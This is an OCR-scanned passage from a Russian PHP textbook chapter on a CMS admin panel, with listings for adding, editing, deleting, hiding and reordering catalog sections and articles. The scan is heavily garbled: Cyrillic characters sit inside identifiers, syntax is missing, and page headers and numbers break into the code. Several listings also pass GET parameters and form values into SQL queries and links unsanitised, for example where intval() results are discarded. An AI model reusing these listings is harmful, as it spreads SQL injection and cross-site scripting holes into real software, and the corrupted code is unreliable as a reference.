�.У.�'Ift.МИ Администрирование соде ржимого сайта Здесь осуществляется ддt.lИIiИСТl}ироваНltе Рдздепс>в СдИТд, ДQбавпение новых подраздепов fI их ЭЛЕ!�,енroв Рис. 12.4 . Подразделы раздела " М атеринские платы" Содержимое файла index.php представл ено в листи нге 12.6 .
Глава 12. Система администрирования содержимого са йта (CMS) Листинr 12.6 . Спи сок разделов и подразделов, index.php <?php // Устанавливаем соединение с базой данных require_o nce (" ../ . ./config/config .php ") ; // Подключаем блок авторизации require_o nce (" ../utils/security_m od .php ") ; // Подключаем SoftTime FrameWork require_once (" . ./ ../config/class . config . drn n .php") ; // Навигационное меню requi re_once (" ../utils/utils . navigation .php" ) ; // Подключаем блок отображения текста в окне брауз ера requi re_once (" ../utils/utils . print_page .php" ) ; $title = $titlepage = 'Администрирование содержимого сайта '; 625 $pageinfo = '<р сlаss=hеlр>Здесь осуществляется администрирование разделов сайта, добавление новых подразделов и их элементов< /р> '; // Включаем заголовок страницы require_опсе (" ../utils/top . php" ) ; intval ( $_GET ['id_pa rent 'J); try // Если это не корневой подраздел каталога, / / выводим ссылки ДЛЯ возврата // и ДЛЯ добавления подраздела каталога echo '<table cellspacing="O" cellspacing="O" border=O> <tr va lign="top"><td height= "25"><p> '; echo "<а class=menu href=index .php ? id_pa rent=O>KopHeBoe меню< /а>- &gt; ". menu_navigat ion ( $_GET ['id_parent 'J, "", $tbl_catalog ). "<а class=menu href=catadd .php ?id_c atalog=$_GET [id_p arent J&".
626 "idyarent=$_GET [idy arent )> Добавить меню< /а>"; echo "</td></tr></table> "; // Выводим список разделов каталога $query = "SELECT * FROM $tbl_catalog WНERE id_pa rent=$_GET [id_pa rent ) ORDER ВУ pos "; $ctg = mys ql_query ($que ry) ; if (!$ctg) throw new Excepti onМySQL (mys ql_error () , $query, "Ошибка при обращении Часть 11. Создание сайта к подразделу каталога") ; // Выв одим заголовок таблицы подразделов каталога echo '<table width="lOO%" class="table " border="O" cellpadding=" O" cellspacing="O"> <tr class="header" align= "center"> <td аligп=сепtеr>Название</td> <td аligп=сепtеr>Описание</td> <td width=2 0 аligп=сепtеr>Поз .</td> <td width=50 аligп=сепtе r>Действия< /td> </tr> ' ; while ($catalog $url "id_c atalog=$catalog [ id_catalog) & ". "idy arent=$catalog [idyarent )";
Гла ва 12. Система администр ирования содержимого сайта (CMS) // Выясняем, скрыт каталог или нет if ($c atalog ['h ide' ] == 'hide') $strhide = "<а hrеf=саtShоw .рhр ?$url>От образить</а>" ; $style=" class=hiddenrow "; else $strhide = "<а hre f=cathide .php ?$url>CKpb l Tb</a>"; $style=" "; // Выводим список каталогов echo "<tr $style > <td> <а hre f=index . php ?id-parent=$ catalog [ id_catalog ]> $catalog [name ] </а> </td> <td>" . n12br ( print-page ($catalog ['de scription '])) ."&nbsp ;</ td> <td align=center>$ catalog [pos ] </td> <td> <а href=catup . php?$url>BBepx</a><br> $strhide<br> <а hrеf=саtеdit . рhр?$url>Редактир овать </а><Ьr> <а href=# опСliсk=\"dеlеtе-роsitiоп ('саtdеl .рhр ?$url ',". 627 " 'Вы действительно хотите удалить раздел ? ');\ ">Удалит ь</а><Ьr> <а hrе f=саtdоwn . рhр ?$url>Вниз</а><Ьr></td> </tr>" ; echo "</table> "; // Выводим элемент текуще го раздел а if (isset ($_GET ['id_parent ' ]) && $ GET ['id_parent '] != О)
628 ?> // Выводим элементы текуще го подраздела include "position .php "; catch ( Except i onМySQL $ехс ) require ("../utils/excepti on_mysql .php" ) ; // Вкmочаем завершение страницы require_once (" ../utils /bottom. php" ) ; Часть /1. Создание са йта Для формирования навигационной строки, информирующей пользователя о то м, где он находится, и позволяющей вернуться в вышерасположенные раз ­ делы, применяется рекурсивная функция menu_n avigation () из файл а utils/utils.navigatiol1.php (л истинг 12.7). Листинг 12.7. Функция menu_navigat�on () <?php function menu_navigation ($id_catalog , $link, $catalog) $id_c atalog = intval ($id_catalog ); $query = "SELECT * FROM $catalog WНERE id_catalog = $id_catalog" ; $cat = mysql_que ry ($query) ; if( !$cat) throw new ExceptionМySQL (mys ql_error () , $query, "Ошибка обращения к таблице каталога menu_navigation() ") ; if (mуs ql_пuш_rОWS ($саt ) > О)
Глава 12. Система администр ирования содержимого са йта (cMs) 629 ?> $catalog_result = mys ql_fetch_a rray ($cat) ; $link = "<а class=menu href=index .php ?id_p arent=" .$catalog_re sult ['i d catalog '] ."> ".$catalog_result ['name'] . "</a>-& gt ; ".$link ; $link = menu_navigation ($catalog_re sult ['id_parent' ], return $link ; $link, $catalog) ; Функция menu_navi gation () принимает три аргумента: $id_catalog - пер­ вичный ключ самого глубокого катал ога, $link - начальная строка навига­ ционной строки и $catalog - название табл ицы. Функция вызывает сама себя до тех пор, пока не будет достигнут корневой раздел ( $id_c atalog = о ) , а переменная $link не получит навигационную строку. Последняя ссылка в навигационной строке являетс я ссылкой на файл catadd .pllp для добавления нового подраздела в текущий раздел . Файл index.pllp принимает в качестве GЕТ-параметра $ _GET ['id_parent '] значение первичного кл юча текущего раздела. Есл и текущий раздел не яв­ ляется корневым ( $_GET ['id_parent '] отлично от нулевого значения), в скрипт включается файл position.pll p, выводящий список элементо в теку­ щего раздела. Для добавления нового подраздел а предназначен файл catadd.pl1p, содержи­ мое которого представлено в листи нге 12.8 . Листинг 12.8 . Добавление подраздела, catadd.php <?php // Устанавливаем соединение с базой данных require_once (" ../ . ./config/config .php" ) ; // Подключаем блок авторизаци и require_once (" ../utils/security_m od .php ") ; // Подключаем классы формы require_once (" ../ ../config/class . config .dmn.php ") ; if (empty ($_POST) ) $_REQUE ST ['h ide' ] true ;
БЗО Часть 11. Создание сайта try $ пате new field_text ("пате", "Название " , true , $_POST ['пате' ]); $description new field_textarea ( "descript ion" , "Описание " , $keywords false, $_POST ['description' ]); new field_text ("keywords ", "Ключевые слова" , false, $_POST ['keywords ']); $rnodrewr ite new field_text_english ( "rnodrewrite" , "Название для<Ьr>RеWritе ", false, $hide $_POST ['rnodrewrite ']) ; new field_chec kbox ("hide", "Отображать ", $_REQUEST ['hide'] ); $idyarent new field_hidden_int ("idyarent ", $page // Форма true , $_REQUEST['idyarent ']); new field hidden_int ("page", false, $_REQUEST ['page' ]); $forrn = new forrn(array("naтe" => $пате, "description " => $description, "keywords " => $keywords , "rnodrewrite " => $rnodrewrite, "hide " => $hide , "rnodrewrite" => $rnodrewr ite , "idyarent " => $idyarent ,
Глава 12. Система администрирования содержимого сайта (CMS) "page " => $page) , "Добавить ", "fie1d" ); // Обработчик НТМL-формы if(!empty ( $_POST) ) // Проверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $fопn->сhесk () ; if (empty ($e rror )) // Извлекаем текущую максимальную позицию $query = "SELECT МAX (pos ) FROM $tbl_cata1og 631 WHERE idyarent {$fопn->fiе1ds [ id_раrепt j->vа 1uе }"; $pos = mysq1_query ($qu ery) ; if (!$pos ) throw new ExceptionМySQL (mysq1_error () , $que ry , "Ошибка при извлечении текущего элемента ") ; $position = mysq1_resu1t ($pos , О) + 1; / / Скрытый ИЛИ открытый раздел if ($fопn->fiе1ds ['hidе' j ->vа1uе ) $showhide e1se $showhide = "hide" ; // Формируем SQL-запрос на добавление раздела $query = "INSERT INTO $tbl_cata1og "show" ; VALUES (NULL , '{$fопn->fiе1ds [пamеj ->vа1uе }', '{$fОПn->fiе1ds [dеsсriрtiопj ->vа1uе }', '{$fопn->fiе1ds [ kеywоrds j->vа 1uе }', '{$ fопn->fiе1ds [mоdrеwritе j->vа1uе }', $pos ition,
БЗ2 Часть 11. Создание са йта , $showhide ' , ($form- >fields [ id_parent ]->value })"; if ( !mysql_query ($query) ) throw new Except ionМySQL (mys ql_error () , $que ry, "Ошибка при добавлении нового раздела ") ; // Осуществляем редирект на главную страницу администрирования header ( "Location : index .php ? ". "idyarent= {$form->fields [ idyarent ]->value }&". "page= {$form->fields [page ] ->va lue }") ; exit () ; // Начало страницы $title 'Добавление подраздела '; $pageinfo '<р class=help>< /p> '; // Включаем заголовок страницы require_once (" ../utils/top .php ") ; echo "<р><а href=# onClick= 'history .back () '>Назад< /а></р> "; / / Выв одим сообщения об ошибках , если они имеют ся if( !empty($error) ) foreach ($error as $err) echo "<span style=\ "color : red\ ">$err</span><br> "; } // Выводим НТМL-форму $form->print_form () ; catch ( ExceptionObj ect $ехс )
Глава 12. Система администрирования содержимого сайта (CMS) ?> require (" ../utils/except ioll_obj ect . php" ) ; catch ( ExceptionМySQL $ехс ) require (" ../utils/except ioll_my sql .php" ) ; catch ( Except ionМember $ехс ) require (" ../utils/except i oll_membe r.php ") ; // Включаем завершение страницы requi re_ollce (" ../utils/bottom.php ") ; КЛючевые 1 слова.; .... �:����е7 ДnЯ 1.. .. . ---- - - ----- ....- .. .- .... .- ....- .. ..- ... .- ... .- .....� ...... Oroбражаrь: р.! Добавить Рис. 12.5. НТМL-форма для добавления нового подраздела 633
634 Часть 11. Создание сайта НТМL-форма для создания нового подраздела состоит из трех текстовых по­ лей дл я названия каталога пате , ключевых слов keywo rds, дЛЯ URL mo drewrite, текстовой области для описания раздела de scription, флажка hide , позволяющего назначить разделу статус (отображаемый или скрытый), и двух скрытых полей i d_parent И page, пред назначенных для одноименных GЕТ-параметров. Внешний вид НТМL-формы представлен на рис. 12.5 . Перед добавлением новой записи в таблицу system_menu_c atalo g ($tbl_catalog) вычисляется позиция нового раздела (он помещается в ко­ нец); для этого при помощи SЕLЕСТ-запроса с участием MySQL-функци и МАХ () извлекается максимальное значение столбца pos. Редактирование раздела catedit.php внешне повторяет НТМL-форму для до­ бавления раздела catadd.php; различие заключается в то м, в поля HTML­ формы вставляются значения редакти руемой записи. Для того чтобы указать первичный кл юч редактируемого раздела, помимо GЕТ-параметров id_parent И page скрипту передается дополнител ьный параметр id_ catalog, который помещается в одноименное скрытое поле. В обработчике HTML­ формы для редактирования разделов вместо INSERT, используемого для до­ бавления новой записи, применяется SQL-оператор UPDAТЕ, обновляющий запись табл ицы. В листинге 12.9 приводится содержимое файла catedit.pI1p. Листинг 12.9 . Реда ктирование подраздела, catedit.php <?рЬр // Устанавливаем соединение с базой данных requi re_once ("../ . ./config/config .php ") ; // Подключаем блок авторизаци и require_once (" ../utils/security_m od .php ") ; // Подключаем классы формы requi re_once (" ../ . ./config/class . config .dmn.php ") ; try $_GET ['id_catalog '] if (emp ty ( $_POST )) intval ( $_GET ['id_catalog ']); ( $query = "SELECT * FROM $tbl_catalog WНERE id_catalog=$_GET [id_catalog ] LIMIT 1";
Глава 12. Система администрирования содержимого сайта (CMS) $cat = mysql_que ry ( $query) ; if( !$cat) throw new ExceptionМySQL (mysql_error () , $query, "Ошибка при обращении к каталогу "} ; $_REQUEST = mysql_fetch_array ($cat) ; $_REQUEST [ 'page '] = $_GET [ 'page ' ] ; if ($_REQUE ST ['hide' ] = 'show' ) $_REQUE ST ['hide' ] else $_REQUEST ['hide' ] = fa lse ; $name new field_text ("name", "Название ", true , $_REQUEST ['name' ]); $description new field_textarea ("description" , "Описание " , true ; $keywo rds false, $_RE QUE ST ['description' ]); new field_text ("keywords ", $modrewrite "Ключевые слова", false, $_REQUEST['keywords ']); new field_text_english ("modrewrite", "Название дпя<Ьr>RеWritе" , false, $_REQUEST['modrewrite ']); $hide new field_checkbox ("hide", "Отображать ", $_REQUE ST ['hide'] ); new field_hidden_int ("id_catalog" , true , $_REQUEST['id_catalog ']); 635
636 $page $fonn Часть 11. Создание сайта new field_hidden_int ("idyarent ", true , $_REQUEST ['id_parent ']); new field_hidden_int ("page" , false, $_REQUEST ['page'] ); new fonn( array ( "naтe" => $пате , "description" => $descript ion, "keywords " => $keywords , "modrewrite " => $modrewrite , "hide " => $hide , "modrewr ite " => $modrewrite , "id_catalog " => $id_c atalog, "idyarent " => $idyarent , "page " => $page) , "Редактировать ", "field" ); // Обработчик НТМL-формы if( !empty($_POST) ) // Проверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $fonn->check () ; if (emp ty ($erro r) ) // Скрытый или открытый раздел if ($fonn->fields ['hide' ] ->value ) $showhide else $showhide = "hide"; // Формируем SQL-запрос на добавление раздела $query = "ОРОАТЕ $tbl_catalog "show" ; SET пате = '{$form->fields [naтe] ->va lue} ', de script ion = '{$fonn->fields [descript ion] ->value }', keywords '{$fonn->fields [ keywords ]->va lue }', modrewr ite hide '{$ fonn->fields [modrewri te ]->value }', '$showhide '
Глава 12. Система администрирования содержимого сайта (CMS) б37 WHERE id_catalog = {$form->fields [ id_catalog ] ->value }"; if ( !mysql_query ($query)) throw new ExceptionМySQL (mys ql_error () , $que ry, "Ошибка при редактиров ании подраздела ") ; // Осуще ствляем редирект на главную страницу администрирования header ( "Location : index .php ? ". exit () ; "idya rent= {$form->fields [idyarent ] ->value } &" . "page= {$form->fields [page ] ->value }") ; // Начало страницы $title 'Редактирование подменю' ; $page info '<р clas s=he lp></p> '; // Включаем заголовок страницы require_once (" ../utils /top .php ") ; echo "<р><а href=# onClick='history .back () '>Назад< /а></р> "; // Выв одим сообщения об ошибках , если они имеются if ( ! ernpty ($error) ) foreach ($error as $err) echo "<span style=\ "color :red\ ">$err< / span><br> "; } // Выв одим НТМL-форму $form->print_form ( ); catch ( Excepti onObj ect $ехс )
638 Часть 11. Создание са йта ?> require (" ../utils/excepti on_obj ect . php" ) ; catch ( ExceptionМySQL $ехс ) require (" ../ ut ils/ exception_mys ql . php '!) ; catch ( Excepti onМember $ехс ) require ("../utils /exception_membe r.php " ) ; // Включаем завершение страницы requi re_once (" ../ ut ils/bottom.php " ) ; Для удаления подраздела используется скрипт catdel.php (л истинг 12.1О), ко­ то рый принимает два GЕТ-параметра: id_catalog - первичный кл юч уда­ ляемого раздела и page - номер страницы в системе постран ичной навига­ ции (для отображения подраздел ов постраничная навигация не испол ьзуется, но она применяется дл я отображения эл ементов). Листинr 12.10. Удаление подраздела, catdel .php <?php // Устанавливаем соединение с базой данных require_once (" ../ ../config/config .php" ) ; // Подключаем блок авторизаци и requi re_once (" ../utils/security_m od .php" ) ; // Подключаем SoftTime FrameWork require_once (" ../ . ./COnfig/class . config . dmn.php ") ; // Защита от SQL-инъекЦи и $_GET ['id_catalog '] intval ( $_GET ['id catalog' ]); try // Извлекаем все изображения, принадлежащие разделу , и удаляем их $query = "SELECT * FROM $tb1yaragraph_ima ge WHERE id_catalog= $_GET [id_catalog ]";
Глава 12. Система администрирования содержимого сайта (CMS) $img = mysql_query ($que ry) ; Н(!$img) throw new Except ionМyS QL (mys ql_error () , $que ry , "Ошибка при извлечении параметров изображения ") ; whi le ($image = my sql_fetch_array ($img) ) if (file_e xists (" ../ ../" . $image [ 'big ' ])) @unlink(" ../ ../". $image[ 'big,]) ; if (file_exists (" ../ ../" . $image [ 'sma l l'])) @unlink ("../ . . /" . $image [ ' small ']); // Формируем и выполняем SQL-запрос на удаление изображений $query = "DELETE FROM $tblyaragraph_image WНERE id_catalog=$_GET [id_catalog] "; Н( !mysql_query ($query ) ) { } throw new Except i onМySQL (mys ql_error () , $query , "Ошибка при удалении элемента ") ; // Формируем и выполняем SQL-запрос на удаление параграфов $query = "DELETE FROM $tblya ragraph WНERE id_catalog=$_GET [id_c atalog ] "; if( !mysql_que ry ($query) ) throw new ExceptionМySQL (mysql_e rror () , $que ry, "Ошибка при удалении элемента ") ; БЗ9
640 Часть 11. Создание са йта // Формируем и выполняем SQL-запр ос на удаление элемента каталога $query = "DELETE FROM $tbl_p osition WНERE id_c atalog=$_GET [id_ catalog ]"; if ( !mysql_query ($query) ) { } throw new Except ionМySQL (mys ql_error () , $que ry, "Ошибка при удалении элемента ") ; // Формируем и выполняем SQL-запрос на удаление каталога $query = "DELETE FROM $tbl_catalog WНERE id_catalog=$_GET [id_catalog ] LIMIT 1"; if( !mysql_query ($que ry ) ) { throw new Except i onМySQL (mys ql_error () , $que ry, "Ошибка при удалении раздела") ; header ("L ocation : index .php ?idyarent=$_GET [id_parent ]&". "page=$_GET [page ] ") ; catch ( ExceptionМySQL $ехс ) require (" ../utils/except ion_my sql .php" ) ; ?> Так как раздел является самой общей сущностью в системе адм инистр ирова­ ния и может включать множество элементо в, параграфов и изображений, приходится последовательно, при помощи SQL-оператора DELETE очищать все таблицы. Поскол ьку файлы хранятся отдел ьно в специальной директо­ рии, они удаляются первыми; для этого выполняется SELECT-запрос к таб­ лице system_menu_paragraph_image ( $tbl_p aragraph_ima ge) . Запрос извле­ кает все изображения, принадлежащие текущему разделу, и уничтожает их при помощи функции unlink ( ) . Сокрытие и отображение раздела сводится к изменению статуса поля hide табл ицы system_me nu_c atalog ( $tbl_catalog) на значение hide и show соот-
Глава 12. Система администрирования содержимого сайта (CMS) 641 ветственно. За сокрытие раздела несет ответств енность файл cath ide.pllp, а за отображение - файл catshow .php. Оба скрипта, как и catdel .php, принимают три GЕТ-параметра : а id_parent - первичный ключ текущего раздела, необходимый для кор­ ректного возврата на начальную стран ицу; а id_catalog - первичный ключ раздела, который подвергается сокрытию ил и отображению; а page - номер страницы в системе постраничной навигации, необходи- мый для корректного возврата на начал ьную стр аницу. В листинге 12.1 1 приводится содержимое файла cathide.pllp, осуществляю­ щего сокрытие раздела. Для сокрытия раздела используется ранее рассмот­ ренная функция hide () (см. главу 11). ЗА МЕЧА НИЕ Содержимое файла catshow. php, отображающего раздел , полностью экви­ валентно файлу cathide.php, за исключением того , что вместо функции hide () испол ьзуется функция show ( ) . Листинг 12.1 1. Сокрытие раздела, cathJde.php <?php // Устанавливаем соединение с базой данных require_опсе ( 11 ••/ • •/ config/ config . php " ) ; // Подключаем блок ав торизаци и requi re_once (" ../utils/securitY_ffi od .php" ) ; // Подключаем SoftTirne FrarneWork requi re_once (" . ./ . ./con fig/class.config.drn n .php") ; // Блок управления элементами (show() , hide() , ир() , down() ) require_once (" ../utils/utils .position .php" ) ; // Защита от SQL-инъекци и intval ( $_GET ['id_catalog ']); try
642 Часть 11. Создание са йта ?> // Формируем и выполняем SQL-запрос на сокрытие раздела hide ($_GET ['id_catalog ' J, $tbl_catalog , '' '' , "id_catalog") ; header ( "Location : index . php?index .php? ". "id_p arent=$_GET [id_parent J &page=$_GET [page J ") ; catch ( Excepti onМySQL $ехс ) require ("../ utils/except ion_ffiy sql.php " ); Последней парой скрипто в, которые будут рассмотрены применител ьно к разделам, являются ф айлы catup.pl1p и catdown .php, которые поднимают и соответственно опускают раздел на одну позицию относител ьно остал ьных разделов. В листинге 12.12 приводится содержи мое файла catup.php. Для смены пози­ ции раздела используется рассмотренная ранее функция ир () (см. главу 11). ЗА МЕЧАНИЕ Содержимое файла catdown .php полностью эквивалентно файлу catup.php, за исключением того , что вместо функции ир () используется функция down ( ) . Листинг 12.12. Подъем позиции раздела относительно других раздел ов, catup.php <?рЬр // Устанавливаем соединение с базой данных requi re_once (" ../ ../config/config .php ") ; // Подключаем блок авторизации requi re_once (" ../utils/securitY_ffiod .php " ) ; // Подключаем SoftTime FrameWork require_once (" ../ ../config/class . config .dmn .php " ); / / Блок управления позициями (show () , hide () , ир () , down () ) requi re_once ("../utils/utils .position .php" ) ; // Проверяем, передано ли в параметре число $_GET ['id_catalog 'J $_GET [ 'id_parent ' J intval ( $_GET ['id_catalog 'J); intval ( $_GET ['id_pa rent 'J);
Глава 12. Система администрирования содержимого сайта (CMS) ?> try up ( $_GET ['id_catalog' ], $tbl_c atalog, $_GET [idy arent ] ", "МD id_parent "id_catalog" ) ; header ( "Location : index .php? ". "id_parent=$_GET [idyarent ] &page=$_GET [page] ") ; catch ( Except i onМySQL $ехс ) requi re ("../utils/except ion_mys ql .php ") ; 643 За отображение списка эл ементов (статей и ссылок) несет ответственность файл position.php, который использует в своей работе класс постраничной навигации pager_mysql (см. главу 7). В листинге 12.13 приводится содержи­ мое файла positiOI1 .php. Листинг 12.13 . СПИСОК эnе ментов (статей и ССЫЛОК). position.php <table cellspacing="O" cellpadding= "O"> <tr valign="top"> <td> <?php echo "<а class=menu hre f=urladd .php ?id_p arent=$_GET [idyarent] &" . "page=$_GET [page ] titlе=\ "Добавить ссылку на страницу текуще го или любо го друго сайта \"> Добавить ссылку </a>&nbsp i &nbsP ; &nbsp; <а class=menu hre f=a rtadd .php ?id_p areI).t=$_GET [id_parent ]&". "page=$_GET [page ] titlе=\ "Добавить статью в данный раздел\">
644 Добавить статью</а>" ; ?> </td> </tr> </table><br> <?php try // Количе ство ссылок в постраничной навигации $page_l iПk = 3; // Количе ство элементов на странице $pnurnb er = 10; // Объявляем объект постраничной навигации $obj = new page r_my sql ($tbl-pos ition, Часть 11. Создание сайта "WHERE id_catalog=$_GET [id-раrепt] ", "ORDER ВУ pos ", $pnurnbe r, $page_l ink, "&id_parent=$_GET [id parent] ") ; // Получаем содержимое текущей страницы $pos ition = $obj - >get-page () ; // Если име ется хотя бы одна запись - выводим ее if ( ! empty ($position) ) // Выв одим заголовок таблицы echo '<table width="100%" class="table " border="O" cellpadding= " О " cellspacing="O"> <tr class="header" align= "center "> <td аligп=сепt еr>Название</td> <td align=cent er>URL</td> <td width=2 0 аlign=сепtеr>Поз .</ td>
Глава 12. Система администрирования содержимого са йта (CMS) <td wi dth=50>Действия</td> </tr> ' ; for ($i = О; $i < count ($pos ition) ; $i++ ) $url "id_po sition= {$po sition [$i] [id_p osition] } &" . "id_c atalog=$_GET [idy arent ] &page=$_GET [page] "; // Выясняем, скрыт элемент или нет if ( $position [$i] ['hide'] == 'hide' ) $strhide "<а hrеf=urlshоw .рhр ?$url>ОТОбразить </а>"; $style = " class=hiddenrow "; else $strhide = "<а hrе f=urlhidе .рhр ?$url>Скрыть</а>"; $style = ""; // Выясняем, являе тся ли элемент стать ей или ссылкой if ( $pos ition [$i] ['u r l'] == 'article ') $edit = "artedit .php "; // $url нель зя исполь зовать из-за параметра page $пате " <td> else <р class=srnall> <а hre f=paragraph .php ? ". "idy osition={$pos ition [$i] [id_p osition ] }&". "id_c atalog=$_GET [idy arent ] >" . print_page ($position [$i] [ 'пате' ] )."</а> </р> </td>"; $edit = "urledit .php" ; $ пате = "<td><p clas s=srnall>". 645
б4б Часть 11. Созда ние са йта print_page ($pos ition [$i] ['паше' ]). "</p></td>"; // Выводим элементы echo " <tr $style> $паше <td> " .printyage ($pos ition [$i] [ 'url']) . "</td> <td align=center> " .pr intyage ($pos ition [$i] ['pos']) . "</td> <td> <а hre f=urlup .php ?$url>BBepx</a><br> $strhide<br> <а hrеf=$ еdit?$url>Редактировать </а><Ьr> <а href=* onClick=\"delete_p osition ( ' 'u rldel . php?$url ' 1'" "'Вы действительно хотите удалить элемент ? ');\ ">Удалить </а><Ьr> <а hrеf=urldоwn .рhр ?$url>Вниз</а></р> </td> </tr>"; echo "</table><br><br> "; / / Выводим ссылки на другие страницы echo $obj ; catch ( ExceptionМySQL $ехс) require (" ../uti ls/exception_my sql .php" ) ; ?> Напомним, что в качестве элемента м огут выступать либо ссылки, либо статьи. Внешний вид НТМL-формы для добавления ссылок urladd .pllp пред­ ставл ен на рис. 12.6. Для добавления статей испол ьзуется НТМL-форма artadd.php, внешний вид которой представлен на рис. 12.7 .
Гл а ва 12. Система администрирования содержимого сайта (CMS) URL '; Клю'!евые cnова: НазваllИе ДIUI ReWrite: Orо�ражatЬ: Рис. 12.6. НТМL-форма для добавления ссылок ОписаНI I е: КЛЮ'l'евые слова: НаЗ8аН�fе ДnЯ Re\l'Jrite: Оrображ/ЛЪ: г.; ; Добавить Рис. 12.7 . НТМL-форма для добавления статей в листинге 12.14 представлено содержимое файла artadd .php. 647
648 Листинг 12.14. Добавление статьи, artadd.php <?php // Устанавливаем соединение с базой данных require_once (" ../ . ./con fig/config .php" ) ; // Подключаем блок авторизаци и requi re_once (" ../utils/security_m od .php" ) ; // Подключаем классы формы Часть 11. Создание са йта require_once (" ../ . ./config/class . config .dnm .php ") ; // Защита от SQL-инъе кци и $_GET ['id-Fаrепt '] = iпtvаl ( $_GЕТ ['id-Fаrепt ']); if (emp ty ( $_POST )) $�QUE ST ['hide' ] try true ; $ пате new field_t ext ("пате", "Название ", $description $keywords $modrewrite true , $_POST ['пате'] ); new field_textarea ("description" , "Содержимое статьи" , true , $_POST ['description' ]); new field_t ext ("keywords ", "Ключевые сл ова", false, $_POST ['keywords ']); new field_text_engl ish ( "modrewri te ", "Название для<Ьr>RеWritе ", false, $_POST ['modrewrite ']) ; $hide new field_che ckbox ( "hide " , "Отображать " , $_REQUEST ['hide' ]);
Гла ва 12. Система администрирования содержимого сайта (CMS) $id_p arent = new field_hidden_int ("idyarent ", $page $fопn true , $_REQUEST ['id_parent ']); new field_hidden_int ("page", false , $_REQUE ST ['page' ]); new fопn(аrrау("пamе" => $пате, "description" => $description, "keywords " => $keywords , "rnodrewrite " => $rnodrewr ite , "hide " => $hide , "rnodrewrite " => $rnodrewr ite , "id_parent " => $id_p arent , "page " => $page) , "Добавить " , "field" ) ; // Обработчик НТМL-формы if(!ernptу($_POST) ) // Проверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $fопn->сhе сk () ; if (ernpty ( $error) ) // Извлекаем текущую максимальную позицию $query = "SELECT МАХ (pos ) FROM $tbly osition 649 WНERE id_catalog = {$fопn->fiеlds [ id_раrепt ] - >vаluе }"; $роэ = rnysql_query ($query) ; if (!$роэ ) throw new ExceptionМySQL (rnys ql_error () , $query, "Ошибка при извлечении текущей позиции" ) ;
650 $pos = mysql_result ($pos , О) + 1; / / Скрытый или открытый элемент if ($form->fields ['hide' ] ->value ) $showhide else $showhide = "hide"; Часть 11. Создание са йта "show" ; // Формируем SQL-запрос на добавление элемента $query = "INSERT INTO $tblyos.ition VALUES (NULL , '{$form->fields [name] ->value} ', 'article ' , '{$form->fields [ keywords ]->value }', '{$form->fields [modrewrite ]->va lue} ' , $pos , '$showhide ' , {$form->fields [ id_parent ]->va lue })"; if ( !mysql_query ($que ry ) ) throw new ExceptionМySQL (mysql_error () , $query, "Ошибка при добавлении нового элемента ") ; // Извлекаем значение первичного ключа толь ко // что вставленного элемента , назначенного механизмом // AUTO INCREМENT $idyo sition = my sql_inse rt_id () ; // Разбиваем текст на параграфы $par = preg_split ("I \r\n l ", $form->fields ['description ']->value) ; if ( ! empty ($par) ) $i=О; foreach ($par as $parag ) $i++ ;
глава 1 2. Система администрирования содержимого сайта (CMS) $sql [] = "(NULL , '$parag ' , 'text ' , 'left ' , 'show ' , $i, $id_p os ition, {$form->fields [idy arent ] ->va lue } } "; $query "INSERT INTO $tblyaragraph VALUES ".implode (", " , $sql) ; if ( !mysql_query ($query} ) throw new Except ionМySQL (mys ql_error () , $ que ry, "Ошибка при добавлении нового элемента "} ; 651 // Осуществляем редирект на главную страницу администрирования header ( "Location : index .php ? ". "id_p arent= {$form->fields [ idyarent ]->va lue}&". "page= {$form->fields [page ] ->value }"} ; ехН (); } // Начало страницы $title 'Добавление элемента '; $pageinfo '<р class=help>< /p> '; // Включаем заголовок страницы requi re_once (" ../utils/top .php" ) ; echo "<р><а hre f=* onClick= 'history . back (} '>Назад</а></р>" ; // Выводим сообщения об ошибках , если они имеют ся Н( !emp ty ($error} }
652 Часть 11. Создание са йта foreach ($error as $err) echo "<span style=\"color : red\ ">$err</span><br> "; ?> ) // Выводим НТМL-форму $form�>print_form ( ); catch ( ExceptionObj ect $ехс ) requi re (" ../utils/ excepti on_obj ect .php ") ; catch ( ExceptionМySQL $ехс ) require (" ../utils/except ion_my sql .php " ) ; catch (ExceptionМember $ехс ) require (" ../utils/except ion_me mbe r.php ") ; // Включаем завершение страницы requi re_once (" ../utils/bottom.php" ) ; Главная особенность скрипта из листинга 12.14 заключается в том, что со­ держи мое тексто вой области de scription разбивается на параграф ы при по­ мощи функции preg_split () И регулярного выражения, соответствующего переводу строки . При этом в таблицу system_paragraph ( $tbl_p aragraph) при помощи многострочного оператора INSERT вставляются параграфы, в то время как все остал ьные данные из НТМL-формы artadd.pl1p помещаются в табл ицу ' system_po sit ion ( $tbl_p osition) . Значение первичного ключа id_p o sition только что вставленной в табл ицу system_po sition записи, ко­ торое необходимо для записей табл ицы system_paragraph, извлекается при помощи функции mysql_insert_i d ().
Глава 12. Система администрирования содержимого сайта (CMS) 653 ЗА МЕЧАНИЕ Скрипты , осуществляющие редактирование , удаление, скрытие/отобра­ же ние и перемещение элементов повто ряют соответствующие скрипты , ра­ нее рассмотренные для разделов. Их листи нги не приводятся в данной кни­ ге , но присутствуют на компакт-диске , поставляемом вместе с ней. в сп иске элементов ссылки отображаются не подс веченными, тогда как на­ зв ания статей представляют собой гиперссылки, ведущие на страницу paragrapl1.pl1p, которая позволяет добавлять, редактировать, удалять, скры­ вать/отображать и менять позиции отдел ьных параграфов статьи (рис. 12.8). Добавит ь IJараграф n Содержиыое Изоб ф ра�ения Тип Поз. ДеliСТВl1Я lIiIiI и аlIЛЫ Появление саных С разнооОр азных СМЗ ИЗQбраже ния Параrpаф �ыэвано АВ�МЯ лричинами: j3� Скрыть РеПЗКШРОВai;' Уцал ить fltШ;; Рис. 12.8 . Стра ница управления параграфами статьи Как видно из рис. 12.8, стр аница управления параграфам и представляет со­ бой табл ицу, каждая строка в которой соответствует одному параграфу. При этом каждый параграф и шапка снабжаются переключателями, позволяющи­ ми указать место вставки нового параграфа. В разделе "Содержимое" приво­ дится текст параграфа. Следующий раздел "Изображения и файлы" предос­ тавляет ссылку для управления изображениями, причем если параграф имеет хотя бы одно изображение, рядом со ссылкой приводится кол ичество изо­ браже ний в круглых скобках. Столбец "Тип" сообщает, является ли текущий эл емент параграфом, списком или заголовком (от Н1 дО Н6). Столбец "Поз." определяет номер параграфа, а стол бец "Действия" предоставляет управ-
